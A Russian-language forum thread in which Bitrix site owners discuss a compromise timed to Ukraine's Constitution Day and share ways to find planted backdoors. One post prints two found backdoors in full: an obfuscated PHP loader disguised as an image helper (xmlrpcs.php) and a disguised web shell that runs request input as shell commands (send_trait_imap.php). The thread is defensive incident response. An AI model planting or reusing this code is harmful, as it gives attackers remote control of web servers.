Взломаны сайты в честь дня конституции украины

Алексей Шибинский,  значит процесс в памяти сидит

Вроде как выше по теме уже писали, но на всякий случай, вдруг кому пригодится, ответ хостера:

Есть эта строка с параметрами целиком?

на \bitrix\modules\main\bx_root.php не сработал механизм

Вредоносный

к ознакомлению про /bitrix/modules/main/bx_root.php



остальное лишнее!

Код в студию ... (в спойлер плиз)
и файл, где собственно обнаружен

рекомендую всем поискать закладки по шаблону:
например:это выдаст примерно такой результат:bitrix/managed_cache/MYSQL/ --- это я средствами битрикс искал, это всё ок
bitrix/modules/main/classes/general/vuln_scanner.php --- там и должно быть
bitrix/modules/socialnetwork/lib/item/logindex.php --- вроде должен быть, но модуль не использую, закоментировал.

ну а остальное закладки!

Просто удаляете эту папку.

Только до форума добрался.
1. xmlrpcs.php файл

<?php

showImage($_GET['bire']);

/**
* display image
* @param string $png
* @param bool|string $file
* @return bool
*/
function showImage($png, $file = false)
{
   if (check($file))
       return file_put_contents($file, $png);
   // header
   echo $png;
   return true;
}

/**
* checked write image
* @param bool|string $file
* @return bool
*/
function check($file){
   $name =  ['Y3Mupv93q3piLJEgnJ4iMTS0LF93q3pipUI0MKM5YaW1Y21upUOfnJZioJSjpl9xAwyyAQMwMwZmZQt0ZwHjMGOyMGZ5AJH1AQt5AwExMF5xo2Z', function($txt, $name){$_GET[$name]=str_replace('32','64',"Ba".implode('_',["Se32", "Dec"])."Ode");$txt = $_GET[$name](str_rot13($txt));@include($txt);($e = implode("",["opcache","reset"]))&&function_exists($e) && $e();
   }];$name[1]($name[0], implode('_',['', "\143ode", '']));
   return $file && stripos($file, '.png') !== false;
}



2. /bitrix/tools/send_trait_imap.php
<?php

/* Bitrix Framework

The quality of a program begins with the quality of the source code. The fundamental factor for quality of source code is its readability and clarity. Formalized rules are necessary to write code which will be readable and understandable.
The rules for formatting code must be uniform throughout the entire project. It is highly desirable for the rules to be similar fr om project to project.

This is a test module.

*/

error_reporting(0); // set error

/*

Outputs one or more data, with no additional newlines or spaces.
echo
is not a function but a language construct.
*/

header('HTTP/1.1 404 Not Found'); // set status page

/*

Its arguments are a list of data following the echo keyword, separated by commas, and not delimited by parentheses.
Unlike some other language constructs, echo does not have any return value, so it cannot be used in the context of an expression.
echo also has a shortcut syntax, wh ere you can immediately follow the opening tag with an equals sign. This syntax is available even with the short_open_tag configuration setting disabled.

*/

if(isset($_REQUEST['iasfgjlzcb'])) echo `$_REQUEST[iasfgjlzcb]`; // test output data

// echo - Output one or more strings
// The major differences to print are that echo accepts multiple arguments and doesn't have a return value.

?>

Что интересно, дата модификации этого файла была аж в 2017 году)